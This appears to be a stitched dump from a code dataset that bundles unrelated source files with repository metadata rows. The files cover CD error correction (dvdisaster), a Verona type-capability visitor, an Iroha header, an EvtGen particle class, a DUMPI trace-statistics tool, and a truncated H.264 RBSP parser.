"MIT"
] | 430 | 2015-06-29T04:28:58.000Z | 2021-10-05T18:24:17.000Z | /* dvdisaster: Additional error correction for optical media.
* Copyright (C) 2004-2007 Carsten Gnoerlich.
* Project home page: http://www.dvdisaster.com
* Email: carsten@dvdisaster.com -or- cgnoerlich@fsfe.org
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA,
* or direct your browser at http://www.gnu.org.
*/
#include "dvdisaster.h"
static GaloisTables *gt = NULL; /* for L-EC Reed-Solomon */
static ReedSolomonTables *rt = NULL;
bool Init_LEC_Correct(void)
{
gt = CreateGaloisTables(0x11d);
rt = CreateReedSolomonTables(gt, 0, 1, 10);
return(1);
}
void Kill_LEC_Correct(void)
{
FreeGaloisTables(gt);
FreeReedSolomonTables(rt);
}
/***
*** CD level CRC calculation
***/
/*
* Test raw sector against its 32bit CRC.
* Returns TRUE if frame is good.
*/
int CheckEDC(const unsigned char *cd_frame, bool xa_mode)
{
unsigned int expected_crc, real_crc;
unsigned int crc_base = xa_mode ? 2072 : 2064;
expected_crc = cd_frame[crc_base + 0] << 0;
expected_crc |= cd_frame[crc_base + 1] << 8;
expected_crc |= cd_frame[crc_base + 2] << 16;
expected_crc |= cd_frame[crc_base + 3] << 24;
if(xa_mode)
real_crc = EDCCrc32(cd_frame+16, 2056);
else
real_crc = EDCCrc32(cd_frame, 2064);
if(expected_crc == real_crc)
return(1);
else
{
//printf("Bad EDC CRC: Calculated: %08x, Recorded: %08x\n", real_crc, expected_crc);
return(0);
}
}
/***
*** A very simple L-EC error correction.
***
* Perform just one pass over the Q and P vectors to see if everything
* is okay respectively correct minor errors. This is pretty much the
* same stuff the drive is supposed to do in the final L-EC stage.
*/
static int simple_lec(unsigned char *frame)
{
unsigned char byte_state[2352];
unsigned char p_vector[P_VECTOR_SIZE];
unsigned char q_vector[Q_VECTOR_SIZE];
unsigned char p_state[P_VECTOR_SIZE];
int erasures[Q_VECTOR_SIZE], erasure_count;
int ignore[2];
int p_failures, q_failures;
int p_corrected, q_corrected;
int p,q;
/* Setup */
memset(byte_state, 0, 2352);
p_failures = q_failures = 0;
p_corrected = q_corrected = 0;
/* Perform Q-Parity error correction */
for(q=0; q<N_Q_VECTORS; q++)
{ int err;
/* We have no erasure information for Q vectors */
GetQVector(frame, q_vector, q);
err = DecodePQ(rt, q_vector, Q_PADDING, ignore, 0);
/* See what we've got */
if(err < 0) /* Uncorrectable. Mark bytes are erasure. */
{ q_failures++;
FillQVector(byte_state, 1, q);
}
else /* Correctable */
{ if(err == 1 || err == 2) /* Store back corrected vector */
{ SetQVector(frame, q_vector, q);
q_corrected++;
}
}
}
/* Perform P-Parity error correction */
for(p=0; p<N_P_VECTORS; p++)
{ int err,i;
/* Try error correction without erasure information */
GetPVector(frame, p_vector, p);
err = DecodePQ(rt, p_vector, P_PADDING, ignore, 0);
/* If unsuccessful, try again using erasures.
Erasure information is uncertain, so try this last. */
if(err < 0 || err > 2)
{ GetPVector(byte_state, p_state, p);
erasure_count = 0;
for(i=0; i<P_VECTOR_SIZE; i++)
if(p_state[i])
erasures[erasure_count++] = i;
if(erasure_count > 0 && erasure_count <= 2)
{ GetPVector(frame, p_vector, p);
err = DecodePQ(rt, p_vector, P_PADDING, erasures, erasure_count);
}
}
/* See what we've got */
if(err < 0) /* Uncorrectable. */
{ p_failures++;
}
else /* Correctable. */
{ if(err == 1 || err == 2) /* Store back corrected vector */
{ SetPVector(frame, p_vector, p);
p_corrected++;
}
}
}
/* Sum up */
if(q_failures || p_failures || q_corrected || p_corrected)
{
return 1;
}
return 0;
}
/***
*** Validate CD raw sector
***/
int ValidateRawSector(unsigned char *frame, bool xaMode)
{
int lec_did_sth = FALSE_0;
/* Do simple L-EC.
It seems that drives stop their internal L-EC as soon as the
EDC is okay, so we may see uncorrected errors in the parity bytes.
Since we are also interested in the user data only and doing the
L-EC is expensive, we skip our L-EC as well when the EDC is fine. */
if(!CheckEDC(frame, xaMode))
{
lec_did_sth = simple_lec(frame);
}
/* Test internal sector checksum again */
if(!CheckEDC(frame, xaMode))
{
/* EDC failure in RAW sector */
return FALSE_0;
}
return TRUE_1;
}
| 25.318627 | 90 | 0.652469 | redscientistlabs |
78be585c4c5873cbcf8cd10f9407e9a837dbb30c | 5,082 | cc | C++ | src/compiler/typecheck/capability_predicate.cc | lbk2kgithub1/verona | 5be07d3b71e5a4fa8da1493cf4c6248d75642f85 | [
"MIT"
] | 1 | 2020-01-21T05:04:26.000Z | 2020-01-21T05:04:26.000Z | src/compiler/typecheck/capability_predicate.cc | lbk2kgithub1/verona | 5be07d3b71e5a4fa8da1493cf4c6248d75642f85 | [
"MIT"
] | null | null | null | src/compiler/typecheck/capability_predicate.cc | lbk2kgithub1/verona | 5be07d3b71e5a4fa8da1493cf4c6248d75642f85 | [
"MIT"
] | null | null | null | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#include "compiler/typecheck/capability_predicate.h"
#include "compiler/printing.h"
#include <fmt/ostream.h>
namespace verona::compiler
{
PredicateSet::PredicateSet(CapabilityPredicate predicate)
: values_(static_cast<underlying_type>(predicate))
{}
PredicateSet::PredicateSet(underlying_type values) : values_(values) {}
PredicateSet PredicateSet::empty()
{
return PredicateSet(0);
}
PredicateSet PredicateSet::all()
{
return CapabilityPredicate::Readable | CapabilityPredicate::Writable |
CapabilityPredicate::NonWritable | CapabilityPredicate::NonLinear |
CapabilityPredicate::Sendable;
}
bool PredicateSet::contains(CapabilityPredicate predicate) const
{
return (values_ & static_cast<underlying_type>(predicate)) != 0;
}
PredicateSet PredicateSet::operator|(PredicateSet other) const
{
return PredicateSet(values_ | other.values_);
}
PredicateSet PredicateSet::operator&(PredicateSet other) const
{
return PredicateSet(values_ & other.values_);
}
PredicateSet operator|(CapabilityPredicate lhs, CapabilityPredicate rhs)
{
return PredicateSet(lhs) | PredicateSet(rhs);
}
struct CapabilityPredicateVisitor : public TypeVisitor<PredicateSet>
{
PredicateSet visit_base_type(const TypePtr& type) final
{
return PredicateSet::empty();
}
PredicateSet visit_capability(const CapabilityTypePtr& type) final
{
switch (type->kind)
{
case CapabilityKind::Isolated:
if (std::holds_alternative<RegionNone>(type->region))
{
return CapabilityPredicate::Readable |
CapabilityPredicate::Writable | CapabilityPredicate::Sendable;
}
else
{
return CapabilityPredicate::Readable |
CapabilityPredicate::Writable | CapabilityPredicate::NonLinear;
}
case CapabilityKind::Mutable:
return CapabilityPredicate::Readable | CapabilityPredicate::Writable |
CapabilityPredicate::NonLinear;
case CapabilityKind::Subregion:
return CapabilityPredicate::Readable | CapabilityPredicate::Writable |
CapabilityPredicate::NonLinear;
case CapabilityKind::Immutable:
return CapabilityPredicate::Readable |
CapabilityPredicate::NonWritable | CapabilityPredicate::Sendable |
CapabilityPredicate::NonLinear;
EXHAUSTIVE_SWITCH;
}
}
/**
* Visits each member of elements and merges the results using the given
* BinaryOp.
*/
template<typename BinaryOp>
PredicateSet combine_elements(
const TypeSet& elements, PredicateSet initial, BinaryOp combine)
{
// std::transform_reduce isn't available yet in libstdc++7 :(
PredicateSet result = initial;
for (const auto& elem : elements)
{
result = combine(result, visit_type(elem));
}
return result;
}
PredicateSet visit_static_type(const StaticTypePtr& type) final
{
return CapabilityPredicate::Sendable | CapabilityPredicate::NonLinear;
}
PredicateSet visit_string_type(const StringTypePtr& type) final
{
return CapabilityPredicate::Sendable | CapabilityPredicate::NonLinear;
}
PredicateSet visit_union(const UnionTypePtr& type) final
{
return combine_elements(
type->elements, PredicateSet::all(), std::bit_and<PredicateSet>());
}
PredicateSet visit_intersection(const IntersectionTypePtr& type) final
{
return combine_elements(
type->elements, PredicateSet::empty(), std::bit_or<PredicateSet>());
}
PredicateSet
visit_variable_renaming_type(const VariableRenamingTypePtr& type) final
{
return visit_type(type->type);
}
PredicateSet
visit_path_compression_type(const PathCompressionTypePtr& type) final
{
return visit_type(type->type);
}
PredicateSet visit_fixpoint_type(const FixpointTypePtr& type) final
{
return visit_type(type->inner);
}
PredicateSet
visit_fixpoint_variable_type(const FixpointVariableTypePtr& type) final
{
return PredicateSet::all();
}
};
PredicateSet predicates_for_type(TypePtr type)
{
// This is pretty cheap, but it's likely we'll be doing it a lot in the
// future. We might want to cache results.
return CapabilityPredicateVisitor().visit_type(type);
}
std::ostream& operator<<(std::ostream& out, CapabilityPredicate predicate)
{
switch (predicate)
{
case CapabilityPredicate::Readable:
return out << "readable";
case CapabilityPredicate::Writable:
return out << "writable";
case CapabilityPredicate::NonWritable:
return out << "non-writable";
case CapabilityPredicate::Sendable:
return out << "sendable";
case CapabilityPredicate::NonLinear:
return out << "non-linear";
EXHAUSTIVE_SWITCH;
}
}
}
| 29.375723 | 80 | 0.684179 | lbk2kgithub1 |
78bf20c265bb89e9eeabe2c3147a211d1c6ec48a | 719 | hpp | C++ | irohad/ametsuchi/os_persistent_state_factory.hpp | coderintherye/iroha | 68509282851130c9818f21acef1ef28e53622315 | [
"Apache-2.0"
] | null | null | null | irohad/ametsuchi/os_persistent_state_factory.hpp | coderintherye/iroha | 68509282851130c9818f21acef1ef28e53622315 | [
"Apache-2.0"
] | null | null | null | irohad/ametsuchi/os_persistent_state_factory.hpp | coderintherye/iroha | 68509282851130c9818f21acef1ef28e53622315 | [
"Apache-2.0"
] | null | null | null | /**
* Copyright Soramitsu Co., Ltd. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0
*/
#ifndef IROHA_OS_PERSISTENT_STATE_FACTORY_HPP
#define IROHA_OS_PERSISTENT_STATE_FACTORY_HPP
#include <memory>
#include "ametsuchi/ordering_service_persistent_state.hpp"
namespace iroha {
namespace ametsuchi {
class OsPersistentStateFactory {
public:
/**
* @return ordering service persistent state
*/
virtual boost::optional<std::shared_ptr<OrderingServicePersistentState>>
createOsPersistentState() const = 0;
virtual ~OsPersistentStateFactory() = default;
};
} // namespace ametsuchi
} // namespace iroha
#endif // IROHA_OS_PERSISTENT_STATE_FACTORY_HPP
| 25.678571 | 78 | 0.732962 | coderintherye |
78bf5064764a470dd8f59faa4da3faf9f61339b6 | 2,418 | cpp | C++ | EvtGen1_06_00/src/EvtGenBase/EvtStringParticle.cpp | klendathu2k/StarGenerator | 7dd407c41d4eea059ca96ded80d30bda0bc014a4 | [
"MIT"
] | 2 | 2018-12-24T19:37:00.000Z | 2022-02-28T06:57:20.000Z | EvtGen1_06_00/src/EvtGenBase/EvtStringParticle.cpp | klendathu2k/StarGenerator | 7dd407c41d4eea059ca96ded80d30bda0bc014a4 | [
"MIT"
] | null | null | null | EvtGen1_06_00/src/EvtGenBase/EvtStringParticle.cpp | klendathu2k/StarGenerator | 7dd407c41d4eea059ca96ded80d30bda0bc014a4 | [
"MIT"
] | null | null | null | //--------------------------------------------------------------------------
//
// Environment:
// This software is part of the EvtGen package developed jointly
// for the BaBar and CLEO collaborations. If you use all or part
// of it, please give an appropriate acknowledgement.
//
// Copyright Information: See EvtGen/COPYRIGHT
// Copyright (C) 1998 Caltech, UCSB
//
// Module: EvtStringParticle.cc
//
// Description: Class to describe the partons that are produced in JetSet.
//
// Modification history:
//
// RYD Febuary 27,1998 Module created
//
//------------------------------------------------------------------------
//
#include "EvtGenBase/EvtPatches.hh"
#include <iostream>
#include <math.h>
#include <stdlib.h>
#include "EvtGenBase/EvtStringParticle.hh"
#include "EvtGenBase/EvtVector4R.hh"
#include "EvtGenBase/EvtReport.hh"
EvtStringParticle::~EvtStringParticle(){
if (_npartons!=0){
delete [] _p4partons;
delete [] _idpartons;
}
}
EvtStringParticle::EvtStringParticle(){
_p4partons=0;
_idpartons=0;
_npartons=0;
return;
}
void EvtStringParticle::init(EvtId id, const EvtVector4R& p4){
_validP4=true;
setp(p4);
setpart_num(id);
}
void EvtStringParticle::initPartons(int npartons,
EvtVector4R* p4partons,EvtId* idpartons){
_p4partons = new EvtVector4R[npartons];
_idpartons = new EvtId[npartons];
int i;
_npartons=npartons;
for(i=0;i<npartons;i++){
_p4partons[i]=p4partons[i];
_idpartons[i]=idpartons[i];
}
}
int EvtStringParticle::getNPartons(){
return _npartons;
}
EvtId EvtStringParticle::getIdParton(int i){
return _idpartons[i];
}
EvtVector4R EvtStringParticle::getP4Parton(int i){
return _p4partons[i];
}
EvtSpinDensity EvtStringParticle::rotateToHelicityBasis() const{
EvtGenReport(EVTGEN_ERROR,"EvtGen") << "rotateToHelicityBasis not implemented for strin particle.";
EvtGenReport(EVTGEN_ERROR,"EvtGen") << "Will terminate execution.";
::abort();
EvtSpinDensity rho;
return rho;
}
EvtSpinDensity EvtStringParticle::rotateToHelicityBasis(double,
double,
double) const{
EvtGenReport(EVTGEN_ERROR,"EvtGen") << "rotateToHelicityBasis(alpha,beta,gamma) not implemented for string particle.";
EvtGenReport(EVTGEN_ERROR,"EvtGen") << "Will terminate execution.";
::abort();
EvtSpinDensity rho;
return rho;
}
| 19.344 | 121 | 0.658395 | klendathu2k |
78c00353f51ac86580d30cf317101e96ae3914bb | 281 | cpp | C++ | YorozuyaGSLib/source/_character_disconnect_result_wrac.cpp | lemkova/Yorozuya | f445d800078d9aba5de28f122cedfa03f26a38e4 | [
"MIT"
] | 29 | 2017-07-01T23:08:31.000Z | 2022-02-19T10:22:45.000Z | YorozuyaGSLib/source/_character_disconnect_result_wrac.cpp | kotopes/Yorozuya | 605c97d3a627a8f6545cc09f2a1b0a8afdedd33a | [
"MIT"
] | 90 | 2017-10-18T21:24:51.000Z | 2019-06-06T02:30:33.000Z | YorozuyaGSLib/source/_character_disconnect_result_wrac.cpp | kotopes/Yorozuya | 605c97d3a627a8f6545cc09f2a1b0a8afdedd33a | [
"MIT"
] | 44 | 2017-12-19T08:02:59.000Z | 2022-02-24T23:15:01.000Z | #include <_character_disconnect_result_wrac.hpp>
START_ATF_NAMESPACE
int _character_disconnect_result_wrac::size()
{
using org_ptr = int (WINAPIV*)(struct _character_disconnect_result_wrac*);
return (org_ptr(0x1401d24e0L))(this);
};
END_ATF_NAMESPACE
| 25.545455 | 82 | 0.743772 | lemkova |
78c249d396c61dec000620943840c56170ffa3d8 | 10,666 | cc | C++ | dumpi/bin/dumpistats.cc | jychoi-hpc/sst-dumpi | 9d2ce9c6fcb6643a0a3979fbbc29159e9fdb7d6d | [
"BSD-3-Clause"
] | 1 | 2020-01-06T17:42:35.000Z | 2020-01-06T17:42:35.000Z | dumpi/bin/dumpistats.cc | jychoi-hpc/sst-dumpi | 9d2ce9c6fcb6643a0a3979fbbc29159e9fdb7d6d | [
"BSD-3-Clause"
] | null | null | null | dumpi/bin/dumpistats.cc | jychoi-hpc/sst-dumpi | 9d2ce9c6fcb6643a0a3979fbbc29159e9fdb7d6d | [
"BSD-3-Clause"
] | null | null | null | /**
Copyright 2009-2018 National Technology and Engineering Solutions of Sandia,
LLC (NTESS). Under the terms of Contract DE-NA-0003525, the U.S. Government
retains certain rights in this software.
Sandia National Laboratories is a multimission laboratory managed and operated
by National Technology and Engineering Solutions of Sandia, LLC., a wholly
owned subsidiary of Honeywell International, Inc., for the U.S. Department of
Energy's National Nuclear Security Administration under contract DE-NA0003525.
Copyright (c) 2009-2018, NTESS
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Questions? Contact sst-macro-help@sandia.gov
*/
#include <dumpi/bin/metadata.h>
#include <dumpi/bin/trace.h>
#include <dumpi/bin/dumpistats-timebin.h>
#include <dumpi/bin/dumpistats-gatherbin.h>
#include <dumpi/bin/dumpistats-handlers.h>
#include <dumpi/bin/dumpistats-callbacks.h>
#include <sstream>
#include <getopt.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
using namespace dumpi;
static const struct option longopts[] = {
{"help", no_argument, NULL, 'h'},
{"verbose", no_argument, NULL, 'v'},
{"bin", required_argument, NULL, 'b'},
{"mark", required_argument, NULL, 'm'},
{"gather", required_argument, NULL, 'g'},
{"count", required_argument, NULL, 'c'},
{"time", required_argument, NULL, 't'},
{"sent", required_argument, NULL, 's'},
{"recvd", required_argument, NULL, 'r'},
{"exchange", required_argument, NULL, 'x'},
{"lump", required_argument, NULL, 'l'},
{"perfctr", required_argument, NULL, 'p'},
{"in", required_argument, NULL, 'i'},
{"out", required_argument, NULL, 'o'},
{NULL, 0, NULL, 0}
};
void print_help(const std::string &name) {
std::cerr << name << ": Extract statistics from DUMPI trace files\n"
<< "Options:\n"
<< " (-h|--help) Print help screen and exit\n"
<< " (-v|--verbose) Verbose status output\n"
<< " (-b|--bin) timerange Define a collection time range\n"
<< " (-m|--mark) /crt/end/ Create/end a bin at annotations\n"
<< " (-g|--gather) /crt/end/ Accumulate to an annotated bin\n"
<< " (-c|--count) funcname Count entries into a function\n"
<< " (-t|--time) funcname Accumulate time in a function\n"
<< " (-s|--sent) funcname Count bytes sent by a function\n"
<< " (-r|--recvd) funcname Count bytes recvd by function\n"
<< " (-x|--exchange) funcname Full send/recv exchange info\n"
<< " (-l|--lump) funcname Lump (bin) messages by size\n"
<< " (-p|--perfctr) funcname PAPI perfcounter info\n"
<< " (-i|--in) metafile DUMPI metafile (required)\n"
<< " (-o|--out) fileroot Output file root (required)\n"
<< "\n"
<< "The timerange has the form:\n"
<< " (all | mpi | BOUND to BOUND) [by TIME]\n"
<< " where BOUND the form:\n"
<< " (IDENTITY | TIME) [(+|-) TIME]\n"
<< " and IDENTITY is:\n"
<< " start | end | init | finalize | TIME\n"
<< " and TIME is:\n"
<< " (hh:)?(mm:)?[0-9]0-9+(.[0-9]*)?\n"
<< "\n"
<< "The funcname has the form:\n"
<< " all | mpi | non-mpi | sends | recvs | coll | wait | io | RE\n"
<< " where RE is a case-insensitive regular expression\n"
<< " (e.g. \"MPI_Wait.*\" or \"mpio?_(wait.*|test.*))\"\n"
<< " All regular expressions are implicitly flanked by ^ and $,\n"
<< " so \"mpi_.?send\" does not match MPI_Sendrecv\n"
<< "\n"
<< "The annotated bins (-m and -g) use regular expressions\n"
<< "with a format similar to sed basic regular expressions, so:"
<< " -m '/begin bin/end bin/'\n"
<< " -m '!begin bin!end bin!i'\n"
<< " -g '| +start loop [0-9]+ *$|end loop [0-9]+$|'\n"
<< "are all valid annotations (note that backreferences are \n"
<< "not allowed). Escaped characters other than the delimiter\n"
<< "are passed directly to the regular expression parser.\n"
<< "\n"
<< "Example 1:\n"
<< " " << name << " --bin=all --time=mpi --time=other \\\n"
<< " -i dumpi.meta -o stats\n"
<< " Writes a file called stats-0.dat with three columns:\n"
<< " 1: The rank of each MPI node\n"
<< " 2: Aggregate time spent in MPI calls\n"
<< " 3: Aggregate time spent outside MPI calls\n"
<< "\n"
<< "Example 2\n"
<< " " << name << " --bin='init to finalize by 1:00' \\ \n"
<< " --count=mpi_.*send -i dumpi.meta -o stats\n"
<< " Writes files with send counts binned into 1 minute\n"
<< " intervals.\n"
<< "\n"
<< "Example 3\n"
<< " " << name << " --bin='begin+10 to end-10' -s all -r all \\\n"
<< " -i dumpi.meta -o stats \\\n"
<< " Writes a new file containing bytes sent and received\n"
<< " starting 10 seconds after first and ending 10 seconds\n"
<< " before last simulation timestamp\n";
}
struct options {
bool verbose;
std::string infile, outroot;
std::vector<binbase*> bin;
std::vector<handlerbase*> handlers;
options() : verbose(false) {}
};
int main(int argc, char **argv) {
std::string shortopts;
for(int optid = 0; longopts[optid].name != NULL; ++optid) {
if(longopts[optid].val) {
shortopts += char(longopts[optid].val);
if(longopts[optid].has_arg != no_argument) shortopts += ":";
}
}
options opt;
int ch;
/*
{"help", no_argument, NULL, 'h'},
{"verbose", no_argument, NULL, 'v'},
{"bin", required_argument, NULL, 'b'},
{"count", required_argument, NULL, 'c'},
{"time", required_argument, NULL, 't'},
{"sent", required_argument, NULL, 's'},
{"recvd", required_argument, NULL, 'r'},
{"exchange", required_argument, NULL, 'x'},
{"in", required_argument, NULL, 'i'},
{"out", required_argument, NULL, 'o'},
*/
while((ch=getopt_long(argc, argv, shortopts.c_str(), longopts, NULL)) != -1) {
switch(ch) {
case 'h':
print_help(argv[0]);
return 1;
case 'v':
opt.verbose = true;
break;
case 'b':
opt.bin.push_back(new timebin(optarg));
break;
case 'm':
opt.bin.push_back(new gatherbin(optarg, false));
break;
case 'g':
opt.bin.push_back(new gatherbin(optarg, true));
break;
case 'c':
opt.handlers.push_back(new counter(optarg));
break;
case 't':
opt.handlers.push_back(new timer(optarg));
break;
case 's':
opt.handlers.push_back(new sender(optarg));
break;
case 'r':
opt.handlers.push_back(new recver(optarg));
break;
case 'x':
opt.handlers.push_back(new exchanger(optarg));
break;
case 'l':
opt.handlers.push_back(new lumper(optarg));
break;
case 'p':
opt.handlers.push_back(new perfcounter(optarg));
break;
case 'i':
opt.infile = optarg;
break;
case 'o':
opt.outroot = optarg;
break;
default:
std::cerr << "Invalid argument: " << char(ch) << "\n";
return 2;
}
}
if(opt.infile == "" || opt.outroot == "") {
std::cerr << "Usage: " << argv[0] << " [options] -i infile -o outroot\n";
return 3;
}
FILE *ff = fopen(opt.infile.c_str(), "r");
if(! ff) {
std::cerr << opt.infile << ": " << strerror(errno) << "\n";
return 4;
}
try {
// Provide some sensible defaults (time in MPI and non-MPI functions).
if(opt.bin.empty())
opt.bin.push_back(new timebin("all"));
if(opt.handlers.empty()) {
opt.handlers.push_back(new timer("mpi"));
}
// Preparse the streams to get data types etc. correct.
if(opt.verbose) std::cerr << "Parsing metafile\n";
metadata meta(opt.infile);
// Open traces.
if(opt.verbose) std::cout << "Pre-parsing traces.\n";
sharedstate shared(meta.numTraces());
std::vector<trace> traces;
preparse_traces(meta, &shared, traces);
// Tell the handlers about world size.
if(opt.verbose) std::cerr << "Setting up handlers\n";
for(size_t i = 0; i < opt.handlers.size(); ++i)
opt.handlers.at(i)->set_world_size(meta.numTraces());
// Set up. Each bin gets a copy of all the handlers.
for(size_t i = 0; i < opt.bin.size(); ++i) {
std::stringstream ss;
ss << opt.outroot << "-bin" << i;
std::string name = ss.str();
opt.bin.at(i)->init(name, &traces, opt.handlers);
}
callbacks cb;
if(opt.verbose) std::cerr << "Re-parsing files and building tables\n";
cb.go(meta, traces, opt.bin);
// Clean up.
for(size_t i = 0; i < opt.bin.size(); ++i)
delete opt.bin.at(i);
} catch(const char *desc) {
std::cerr << "Error exit: " << desc << "\n";
return 10;
}
}
| 38.927007 | 81 | 0.584193 | jychoi-hpc |
78c398cbed79a4a3b5c940505645a9000c83495e | 464 | hpp | C++ | native/shared/path_creator.hpp | Utsav2/battle-bots | d3c35f03d81bc38bdeb850ecb2c999794771e5d9 | [
"MIT"
] | null | null | null | native/shared/path_creator.hpp | Utsav2/battle-bots | d3c35f03d81bc38bdeb850ecb2c999794771e5d9 | [
"MIT"
] | null | null | null | native/shared/path_creator.hpp | Utsav2/battle-bots | d3c35f03d81bc38bdeb850ecb2c999794771e5d9 | [
"MIT"
] | null | null | null | #ifndef PATH_H
#define PATH_H
#include <vector>
#include <map>
#include "coordinate.hpp"
class Path
{
private:
std::vector<Coordinate> coords;
public:
Path(std::vector<Coordinate> coords);
Path(int, int);
void add_coords(int x, int y);
void add_coords(Coordinate coord);
size_t size();
bool in(int x, int y);
bool in(Coordinate coord);
Coordinate get_coordinate(int index);
};
#include "path_creator.cpp"
#endif
| 19.333333 | 45 | 0.663793 | Utsav2 |
78c5f944369980e1bd875d83fb1f0edc137e6204 | 57,177 | cpp | C++ | media/mm-video/qdsp6/vdec/src/H264_Utils.cpp | Zuli/device_sony_lt28 | 216082da1732986ca5218e9ac1c33c758334f64e | [
"Apache-2.0"
] | null | null | null | media/mm-video/qdsp6/vdec/src/H264_Utils.cpp | Zuli/device_sony_lt28 | 216082da1732986ca5218e9ac1c33c758334f64e | [
"Apache-2.0"
] | null | null | null | media/mm-video/qdsp6/vdec/src/H264_Utils.cpp | Zuli/device_sony_lt28 | 216082da1732986ca5218e9ac1c33c758334f64e | [
"Apache-2.0"
] | null | null | null | /*--------------------------------------------------------------------------
Copyright (c) 2009, Code Aurora Forum. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Code Aurora nor
the names of its contributors may be used to endorse or promote
products derived from this software without specific prior written
permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------*/
/*========================================================================
O p e n M M
V i d e o U t i l i t i e s
*//** @file H264_Utils.cpp
This module contains utilities and helper routines.
@par EXTERNALIZED FUNCTIONS
@par INITIALIZATION AND SEQUENCING REQUIREMENTS
(none)
*//*====================================================================== */
/* =======================================================================
INCLUDE FILES FOR MODULE
========================================================================== */
#include "H264_Utils.h"
#include "omx_vdec.h"
#include <string.h>
#include <stdlib.h>
#ifdef _ANDROID_
#include "cutils/properties.h"
#endif
#include "qtv_msg.h"
/* =======================================================================
DEFINITIONS AND DECLARATIONS FOR MODULE
This section contains definitions for constants, macros, types, variables
and other items needed by this module.
========================================================================== */
#define SIZE_NAL_FIELD_MAX 4
#define BASELINE_PROFILE 66
#define MAIN_PROFILE 77
#define HIGH_PROFILE 100
#define MAX_SUPPORTED_LEVEL 32
RbspParser::RbspParser(const uint8 * _begin, const uint8 * _end)
:begin(_begin), end(_end), pos(-1), bit(0),
cursor(0xFFFFFF), advanceNeeded(true)
{
}
// Destructor
/*lint -e{1540} Pointer member neither freed nor zeroed by destructor
* No problem
*/
RbspParser::~RbspParser()
{
}
// Return next RBSP byte as a word
uint32 RbspParser::next()
{
if (advanceNeeded)
advance();
//return static_cast<uint32> (*pos);
return static_cast < uint32 > (begin[pos]);
}
// Advance RBSP decoder to next byte
void RbspParser::advance()
{
++pos;
//if (pos >= stop)
if (begin + pos == end) {
/*lint -e{730} Boolean argument to function
* I don't see a problem here
*/
//throw false;
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->NEED TO THROW THE EXCEPTION...\n");
}
cursor <<= 8;
//cursor |= static_cast<uint32> (*pos);
cursor |= static_cast < uint32 > (begin[pos]);
if ((cursor & 0xFFFFFF) == 0x000003) {
advance();
}
advanceNeeded = false;
}
// Decode unsigned integer
uint32 RbspParser::u(uint32 n)
{
uint32 i, s, x = 0;
for (i = 0; i < n; i += s) {
s = static_cast < uint32 > STD_MIN(static_cast < int >(8 - bit),
static_cast < int >(n - i));
x <<= s;
x |= ((next() >> ((8 - static_cast < uint32 > (bit)) - s)) &
((1 << s) - 1));
bit = (bit + s) % 8;
if (!bit) {
advanceNeeded = true;
}
}
return x;
}
// Decode unsigned integer Exp-Golomb-coded syntax element
uint32 RbspParser::ue()
{
int leadingZeroBits = -1;
for (uint32 b = 0; !b; ++leadingZeroBits) {
b = u(1);
}
return ((1 << leadingZeroBits) - 1) +
u(static_cast < uint32 > (leadingZeroBits));
}
